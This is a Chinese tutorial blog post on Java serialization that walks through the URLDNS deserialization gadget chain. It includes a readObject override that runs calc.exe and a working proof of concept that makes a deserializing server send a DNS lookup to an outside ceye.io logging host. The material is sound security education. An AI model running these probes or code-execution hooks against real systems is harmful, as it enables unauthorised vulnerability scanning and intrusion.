前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JAVA 序列化与反序列

JAVA 序列化与反序列

作者头像
用户9691112
发布2023-06-10 10:51:06
2870
发布2023-06-10 10:51:06
举报
文章被收录于专栏:quan9i的安全笔记

JAVA序列化与反序列化

JAVA序列化是指把JAVA对象转换为字节序列的过程;反序列化是指把字节序列恢复为JAVA对象的过程。

接下来首先看一个简单的例子。

我们首先来自定义一下Main类,给它赋予两个变量,nameage,具体代码如下

代码语言:javascript
复制
package org.example;


import java.io.Serializable;

public class Main implements Serializable {
    private String name;
    private int age;

    public Main(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
    @Override
    public String toString(){
        return "Main{" +
                "name='"+name+'\''+
                "age="+age+
                '}';
    }
}

接下来自定义JAVA序列化函数,具体代码如下

代码语言:javascript
复制
package org.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class serialize {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Main main = new Main("aa",22);
        //System.out.println(main);
        serialize(main);
    }
}

这里呢,其实就是写了一个文件输出流,将写入的内容传至ser.bin中,而后调用了writeObject方法实现了序列化。

而后定义主函数,实例化对象并传入name=aa,age=22,并序列化main对象。接下来运行此程序

image-20230523161521696
image-20230523161521696

接下来再自定义一下反序列化函数,反序列化与序列化相反即可,把Output换成Input,把write改为read,具体代码如下

代码语言:javascript
复制
package org.example;

import java.io.*;

public class unserialize {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        Main main = (Main) unserialize("ser.bin");
        System.out.println(main);
    }
}

此时运行程序,可以发现成功对数据进行了反序列化并输出了数据

image-20230523161912008
image-20230523161912008

可以发现主函数中有这样一段代码

代码语言:javascript
复制
public class Main implements Serializable 

他其实是实现了一个接口,如果没有这个**implements Serializable **,就无法实现正常的序列化

image-20230523164616173
image-20230523164616173

序列化实现的一些特点

1、静态成员变量不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的

2、transient标识的对象成员变量不参与序列化

这个可以用上面的示例进行测试,我们在name前添加上transient

image-20230523170809370
image-20230523170809370

接下来重新进行序列化和反序列化,可以发现

image-20230523170841785
image-20230523170841785

此时的name变成了null

JAVA反序列化安全问题

为什么会产生漏洞

服务端进行反序列化数据时,会自动调用类中的readObject代码,给予了攻击者在服务器上运行代码的能力

可能形式

1、入口类的readObject直接调用危险函数

比如上述的例子中,我们重写readObject方法,添加一个弹计算器的指令

代码语言:javascript
复制
private void readObject(ObjectInputStream ois) throws Exception,ClassNotFoundException{
    ois.defaultReadObject();
    Runtime.getRuntime().exec("calc.exe");
}
image-20230523173225747
image-20230523173225747

此时再进行序列化和反序列化

image-20230523174013839
image-20230523174013839

成功弹出计算器

2、入口类参数中包含可控类,该类含有危险方法,readObject时进行调用

3、入口类参数中包含可控类,该类调用其他有危险方法的类,readObject时进行调用

4、构造函数/静态代码块等类加载时隐式执行。

共同条件

代码语言:javascript
复制
1、继承Serialize
2、入口类source(重写readObject 参数类型广泛 最好是JDK自带的)
3、调用链 gadget chain
4、执行类 sink (rce、ssrf写文件等等)

接下来以HashMap为例,说一下如何寻找可用类。

首先它需要继承有Serializable类,因为没有Serializable就无法进行序列化

image-20230529194842139
image-20230529194842139

可以看到类HashMap继承了Serializable

接下来寻找入口类。

点击Strcture,可以看到HashMap下的readObject类中存在这样一段代码

代码语言:javascript
复制
for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
image-20230529200631004
image-20230529200631004

重点其实就是对keyvalue进行了readObject函数处理,而后将这两个变量放进了hash函数中,接下来跟进此方法

image-20230529201306583
image-20230529201306583

当key不为0时,就会给h赋值为hashCode函数处理过后key方法

符合入口类的条件,即重写 readObject 调用常见的函数

URLDNS原理分析

URLDNS ysoserial中⼀个利⽤链的名字,这里之所以选择它来进行相关讲解是因为他足够简单,但它其实不能称为利用链,因为参数并非可利用的命令,而是一个URL,同时它触发的结果也并非命令执行,而是一次DNS请求。但它有以下优点:

代码语言:javascript
复制
1、使⽤ Java 内置的类构造,对第三⽅库没有依赖。
2、在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞。

因此用它来测试反序列化漏洞是否存在是尤为合适的。

我们可以在ysoserial查看它的利用链

代码语言:javascript
复制
Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

只有寥寥几步,接下来跟着复现一下。

常见的HTTP请求使用的是URL类,URL是由HashMap的Put方法产生的,所以我们这里先跟进Put方法

image-20230530234129375
image-20230530234129375

从该方法中我们可以看出这里调用了hash()方法,所以接下来我们跟进这个方法

image-20230530234241216
image-20230530234241216

这里可以看到hashCode处理的变量是Key,而Key则是我们上文hash中传入的参数,也就是我们之前写的内容

代码语言:javascript
复制
hashmap.put(new URL("http://xxx"),1);

// 传进去两个参数,key = 前面那串网址,value = 1

接下来我们跟进URL,看URL中的hashCode方法。

image-20230530234713826
image-20230530234713826

可以发现当hashCode不等于-1时,直接返回hashCode,否则就会对handler进行另一个类的hashCode方法处理,接下来跟进这个hashCode函数

image-20230530235211239
image-20230530235211239

可以发现对内容进行了getHostAddress方法处理,继续跟进

image-20230530235313304
image-20230530235313304

根据主机名获取其IP地址,也就是对其发送了一次DNS请求。

至此,可以看出总体链如下

代码语言:javascript
复制
1、HashMap->readObject()
2、HashMap->hash()
3、URL->hashCode()
4、URLStreamHandler->hashCode()
5、URLStreamHandler->getHostAddress()

接下来构造Poc进行DNS请求尝试。

代码语言:javascript
复制
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();   
hashmap.put(new URL("http://s3moz8.ceye.io"),1);

serialize(hashmap);

此时运行会发现,我们还没进行反序列化,在此时就直接收到DNS请求了,这是为啥呢,仔细看一下代码,会发现

代码语言:javascript
复制
PUT->hash->hashCode()

而URL类中的hashCode默认值为-1,此时到这里就会直接往下运行,也就是对URL发起了DNS请求。

这样的话我们就无法判断是反序列化出来的URLDNS,还是序列化中的URLDNS,造成了干扰,此时我们该怎么办呢,我们可以看到这里的源头是因为**put()**,所以我们可以先不发送请求

代码语言:javascript
复制
#Serialization.java
package org.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serialization {
    public static void Serialize(Object obj) throws IOException{
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://s3moz8.ceye.io");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        Serialize(hashmap);
    }
}

运行序列化文件,接下来运行反序列化文件,而后在ceye.io上查看是否有接收到DNS请求

image-20230531000623921
image-20230531000623921

此时可以发现成功接收到请求,证明URLDNS链构造成功。

总体方向就是反序列化调用hashmap的readobject,hashmap里的object里

image-20230601124922747
image-20230601124922747

这样调用了putVal(),所以我们需要去控制这个值才能实现往下走,所以这个时候我们找到了

image-20230601124936765
image-20230601124936765

put方法,这个就是我们这里为啥要put这个url,是为了控制key和value,然后往下走,

image-20230601124951841
image-20230601124951841

hash里调用了key.hashCode,hash里面是key,而这个key是我们填入的URL,所以此时就来到了URL.hashCode

image-20230601125008201
image-20230601125008201

,这个时候我们要想实现DNS请求,必须让他值为-1,所以,我们此时通过反射修改了hashCode值,修改它为-1,让他继续往下走,此时就来到了

image-20230601125023429
image-20230601125023429

就会发送DNS请求。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023/06/01 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • JAVA序列化与反序列化
    • 序列化实现的一些特点
      • JAVA反序列化安全问题
        • URLDNS原理分析
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档